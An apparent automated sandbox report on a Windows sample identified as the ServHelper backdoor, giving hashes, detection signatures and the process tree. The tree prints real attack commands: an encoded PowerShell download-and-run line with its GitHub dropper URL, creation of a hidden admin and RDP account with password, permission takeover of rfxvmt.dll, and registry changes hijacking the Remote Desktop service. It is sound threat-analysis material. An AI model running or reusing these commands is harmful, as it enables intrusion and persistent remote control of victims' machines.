Analysis

  • max time kernel
    124s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    23-05-2021 06:34

General

  • Target

    4d4cb53955f998f339000039ebd0685b.exe

  • Size

    6.0MB

  • MD5

    4d4cb53955f998f339000039ebd0685b

  • SHA1

    49218231e8ce8358683bca89a28e3f533bd25700

  • SHA256

    39f4d59b94d2b39408e4dc962fbf2e65a79b234b46a42c6b05856e60acf7f95b

  • SHA512

    651c27448bd488b9f2628bee4a05f4e25111882fffe398419815aa6239939bac8d39a3e951549acf084870d94c6461cc6c7e3e934f0049fcc7c80b69fbdab640

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe
    "C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1560
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:872
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1992
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1616
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:608
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:368
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:320
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1988
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1376
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1968
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:872
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        3⤵
          PID:1496
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
          3⤵
          • Modifies registry key
          PID:592
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          3⤵
            PID:544
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1868
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
                PID:1972
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1580
              • C:\Windows\system32\cmd.exe
                cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:672
                • C:\Windows\system32\net.exe
                  net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1452
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    6⤵
                      PID:920
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                3⤵
                  PID:704
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                      PID:1836
                      • C:\Windows\system32\net.exe
                        net start TermService
                        5⤵
                          PID:1120
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 start TermService
                            6⤵
                              PID:368
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                        3⤵
                          PID:888
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                          3⤵
                            PID:1968
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user wgautilacc Ghar4f5 /del
                        1⤵
                          PID:304
                          • C:\Windows\system32\net.exe
                            net.exe user wgautilacc Ghar4f5 /del
                            2⤵
                              PID:1256
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                3⤵
                                  PID:1036
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc BBCbMzY5 /add
                              1⤵
                                PID:544
                                • C:\Windows\system32\net.exe
                                  net.exe user wgautilacc BBCbMzY5 /add
                                  2⤵
                                    PID:1388
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user wgautilacc BBCbMzY5 /add
                                      3⤵
                                        PID:1604
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                    1⤵
                                      PID:436
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        2⤵
                                          PID:1628
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            3⤵
                                              PID:1608
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                          1⤵
                                            PID:1496
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              2⤵
                                                PID:328
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  3⤵
                                                    PID:1868
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                1⤵
                                                  PID:1984
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    2⤵
                                                      PID:1956
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                        3⤵
                                                          PID:1972
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe user wgautilacc BBCbMzY5
                                                      1⤵
                                                        PID:1596
                                                        • C:\Windows\system32\net.exe
                                                          net.exe user wgautilacc BBCbMzY5
                                                          2⤵
                                                            PID:1616
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 user wgautilacc BBCbMzY5
                                                              3⤵
                                                                PID:652
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd.exe /C wmic path win32_VideoController get name
                                                            1⤵
                                                              PID:328
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic path win32_VideoController get name
                                                                2⤵
                                                                • Modifies data under HKEY_USERS
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:684
                                                            • C:\Windows\System32\cmd.exe
                                                              cmd.exe /C wmic CPU get NAME
                                                              1⤵
                                                                PID:108
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic CPU get NAME
                                                                  2⤵
                                                                  • Modifies data under HKEY_USERS
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:568
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                1⤵
                                                                  PID:1496
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    2⤵
                                                                      PID:1956
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        3⤵
                                                                        • Blocklisted process makes network request
                                                                        • Drops file in Windows directory
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1580

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v6

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • memory/872-121-0x000000001B860000-0x000000001B861000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/872-119-0x0000000002580000-0x0000000002581000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/872-124-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/872-123-0x000000001AA20000-0x000000001AA21000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/872-125-0x000000001AB30000-0x000000001AB32000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/872-126-0x000000001AB34000-0x000000001AB36000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1560-90-0x000000001B780000-0x000000001B781000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1560-92-0x000000001B680000-0x000000001B681000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1560-86-0x000000001ACC0000-0x000000001ACC2000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1560-87-0x000000001ACC4000-0x000000001ACC6000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1560-88-0x00000000025C0000-0x00000000025C1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1560-112-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1560-111-0x000000001B5F0000-0x000000001B5F1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1560-98-0x000000001AC80000-0x000000001AC81000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1560-93-0x0000000001EA0000-0x0000000001EA1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1580-196-0x0000000019334000-0x0000000019336000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1580-195-0x0000000019330000-0x0000000019332000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1580-198-0x000000001933A000-0x0000000019359000-memory.dmp

                                                                    Filesize

                                                                    124KB

                                                                  • memory/1688-64-0x0000000041347000-0x0000000041348000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1688-62-0x0000000041344000-0x0000000041346000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1688-61-0x0000000041342000-0x0000000041344000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1688-59-0x00000000417F0000-0x0000000041C11000-memory.dmp

                                                                    Filesize

                                                                    4.1MB

                                                                  • memory/1688-63-0x0000000041346000-0x0000000041347000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1992-141-0x000000001AD64000-0x000000001AD66000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1992-140-0x000000001AD60000-0x000000001AD62000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/2012-76-0x000000001B500000-0x000000001B501000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/2012-66-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/2012-68-0x000000001AB90000-0x000000001AB91000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/2012-67-0x00000000022F0000-0x00000000022F1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/2012-69-0x00000000023C0000-0x00000000023C1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/2012-70-0x00000000025A0000-0x00000000025A1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/2012-72-0x000000001AB14000-0x000000001AB16000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/2012-71-0x000000001AB10000-0x000000001AB12000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/2012-74-0x000000001C530000-0x000000001C531000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/2012-77-0x000000001B600000-0x000000001B601000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/2012-78-0x000000001AB1A000-0x000000001AB39000-memory.dmp

                                                                    Filesize

                                                                    124KB

                                                                  • memory/2012-79-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/2012-148-0x000000001C600000-0x000000001C601000-memory.dmp

                                                                    Filesize

                                                                    4KB